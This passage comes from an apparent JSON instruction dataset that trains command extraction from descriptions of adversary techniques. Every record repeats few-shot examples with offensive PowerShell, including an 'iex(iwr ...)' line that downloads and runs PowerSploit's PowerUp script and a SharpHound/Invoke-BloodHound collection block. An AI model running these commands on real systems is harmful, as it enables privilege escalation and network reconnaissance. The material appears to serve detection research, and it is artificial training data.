Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test uses PowerShell to download a payload.\nThis technique is used by multiple adversaries and malware families.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\\atomic_T1115_clipboard_data.txt\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Modify the registry of the currently logged in user using reg.exe via cmd console to remove the networking icon Group Policy. \nTake note that some Group Policy changes might require a restart to take effect.\nSee how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique involves using the Clear-History cmdlet in PowerShell to remove all records of previously executed commands.\nThis action is often performed by attackers to eliminate traces of their activities, making incident detection and forensic \ninvestigation more challenging. By clearing the session history, adversaries aim to obfuscate their operational footprint.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Use Trusted Platform Module (TPM) for Bitlocker tool\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary can obfuscate malicious commands or payloads using XOR and execute them on the victim's machine. This test uses Python to decode and execute commands on the machine.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Search for Passwords on this system using passhunt via WinPwn",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Use screencapture command to collect a full desktop screenshot\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit 